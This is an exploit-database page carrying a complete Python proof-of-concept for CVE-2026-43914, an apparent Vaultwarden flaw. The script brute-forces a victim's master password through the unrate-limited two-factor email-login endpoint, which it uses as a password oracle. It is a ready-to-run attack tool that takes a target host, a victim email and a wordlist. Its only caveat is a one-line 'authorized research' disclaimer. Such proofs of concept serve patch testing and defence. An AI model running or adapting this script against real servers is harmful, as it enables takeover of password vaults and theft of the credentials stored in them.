Exploit database

GH-89b24c266849522cb3f2575fed470ce9

boreas37/cve-2026-43914-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43914

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
boreas37/cve-2026-43914-pocRevision 273b04bdf2d5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

vw_bf_poc.py

Python · 3,668 bytes
#!/usr/bin/env python3
"""
vw_bf_poc.py -- PoC for CVE-2026-43914
Vaultwarden < 1.35.4 -- login brute-force protection bypass when Email 2FA is enabled.

The unauthenticated POST /api/two-factor/send-email-login endpoint validates the
masterPasswordHash BEFORE any rate limiting / token generation, and returns a
distinct status code for correct vs incorrect passwords:

    200  -> password CORRECT (OTP email sent)
    400  -> password WRONG ("Username or password is incorrect.")

Because this endpoint is not covered by Vaultwarden's brute-force protection,
an attacker can use it as an unlimited password oracle and brute-force the
master password of ANY user (email 2FA does NOT protect against this).

Stdlib only. For authorized security research / lab use.
"""

import argparse
import hashlib
import http.client
import json
import sys
import time

B64 = lambda b: __import__("base64").b64encode(b).decode()


def master_password_hash(email: str, password: str, iterations: int = 600000) -> str:
    key = hashlib.pbkdf2_hmac("sha256", password.encode(), email.encode(), iterations, dklen=32)
    return B64(hashlib.pbkdf2_hmac("sha256", key, password.encode(), 1, dklen=32))


def try_password(host: str, port: int, email: str, mph: str, device="atk-dev") -> int:
    conn = http.client.HTTPConnection(host, port, timeout=15)
    body = json.dumps({"deviceIdentifier": device, "email": email,
                       "masterPasswordHash": mph})
    conn.request("POST", "/api/two-factor/send-email-login", body=body,
                 headers={"Content-Type": "application/json", "Auth-Request": "true"})
    resp = conn.getresponse()
    code = resp.status
    resp.read()
    conn.close()
    return code


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-43914 PoC -- Vaultwarden email-2FA brute-force bypass")
    ap.add_argument("--host", default="localhost")
    ap.add_argument("--port", type=int, default=8222)
    ap.add_argument("--email", required=True, help="victim account email")
    ap.add_argument("--wordlist", help="password wordlist file (one per line)")
    ap.add_argument("--passwords", help="comma-separated passwords to test")
    ap.add_argument("--kdf-iterations", type=int, default=600000)
    args = ap.parse_args()

    if not args.wordlist and not args.passwords:
        print("[!] Provide --wordlist or --passwords"); sys.exit(1)

    candidates = []
    if args.passwords:
        candidates = [p.strip() for p in args.passwords.split(",")]
    else:
        with open(args.wordlist, encoding="utf-8", errors="ignore") as fh:
            candidates = [ln.rstrip("\n") for ln in fh]

    print(f"[*] Target : {args.host}:{args.port}")
    print(f"[*] Victim : {args.email}")
    print(f"[*] Trying {len(candidates)} candidate passwords via send-email-login oracle\n")

    found = None
    t0 = time.time()
    for i, pwd in enumerate(candidates, 1):
        mph = master_password_hash(args.email, pwd, args.kdf_iterations)
        try:
            code = try_password(args.host, args.port, args.email, mph)
        except Exception as exc:
            print(f"[!] request error: {exc}"); time.sleep(1); continue
        mark = "HIT!" if code == 200 else "-"
        print(f"  [{i:04d}] {code}  {mark}  {pwd}")
        if code == 200:
            found = pwd
            break

    dt = time.time() - t0
    if found:
        print(f"\n=> PASS: master password FOUND = '{found}'  ({dt:.1f}s, no rate limit hit)")
        sys.exit(0)
    else:
        print(f"\n=> FAIL: password not in list ({dt:.1f}s) -- but NO rate limiting was triggered either.")
        sys.exit(1)


if __name__ == "__main__":
    main()